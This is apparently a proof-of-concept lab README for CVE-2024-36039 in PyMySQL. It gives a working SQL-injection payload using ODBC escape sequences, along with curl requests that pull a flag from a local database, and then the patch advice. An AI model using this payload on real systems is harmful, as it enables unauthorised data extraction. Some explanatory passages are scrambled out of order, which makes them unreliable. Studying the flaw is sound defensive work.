
PoC for CVE-2024-36039: Demonstrating SQL Injection via PyMySQL Object-to-String serialization flaw
A complete, reproducible Proof of Concept (PoC) laboratory for CVE-2024-36039, demonstrating how an Object Injection vulnerability in PyMySQL (versions <= 1.1.0) can be escalated to a full SQL Injection using MariaDB's ODBC Escape Sequences.
CVE-2024-36039 is a vulnerability in PyMySQL, a pure-Python MySQL client library.
When parameterized queries (e.g., execute("SELECT * FROM table WHERE data = %s", (my_dict,))) receive a Python dictionary where the keys are custom objects rather than standard strings, PyMySQL uses the object's __str__ or __repr__ method to serialize it into an SQL string.
The Bug: PyMySQL forgets to escape (wrap in single quotes) the resulting string of the object key.
This results in a raw, unquoted string being injected directly into the SQL statement formatted as a dictionary: {UnquotedObjectString: 'EscapedValue'}.
By itself, injecting {UnquotedKey: 'Value'} into a MariaDB query will trigger a 1064 Syntax Error because {} is not standard SQL data syntax.
However, MariaDB/MySQL supports ODBC Escape Sequences, which use curly braces {}. To bypass the syntax error, the string immediately following the { must be a valid ODBC keyword (e.g., d, t, ts, fn).
fn/* via its __repr__ method.*/ 1} UNION SELECT 1, flag, 3 FROM secret -- .SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : MariaDB recognizes the start of an ODBC scalar function./*: "'*/ : MariaDB treats this as a block comment. The colon : and the opening quote ' generated by PyMySQL are completely ignored! 1} : Completes the ODBC function (effectively returning the integer 1). UNION SELECT 1, flag, 3 FROM secret : Our injected SQL payload is executed.Result: A flawless SQL Injection bypassing both application logic and PyMySQL's parameterization!
Clone this repository and spin up the environment:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(Wait about 15-20 seconds for the MariaDB container to fully initialize).
Send a standard JSON request. The backend will cast the JSON key into a CustomKey object.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
Response: You will get a SQL Syntax Error indicating that {yamato: "'Any_value'"} is invalid SQL, confirming the injection point.
Inject the ODBC escape sequence payload to bypass the syntax error and extract the hidden flag from the secret table.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
Response (PWNED!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
To fix this vulnerability, upgrade PyMySQL to version 1.1.1 or later.
In the patched versions, the developers ensure that all dictionary keys, regardless of their type, are properly escaped and quoted before being inserted into the SQL statement.
pip install --upgrade PyMySQL
Disclaimer: This repository is created for educational and research purposes only. Do not use these techniques against systems you do not own or have explicit permission to test.
© 2026 by zenniskayy. Built for a safer internet.
-- '"} : The SQL comment ignores the rest of the trailing junk ('}).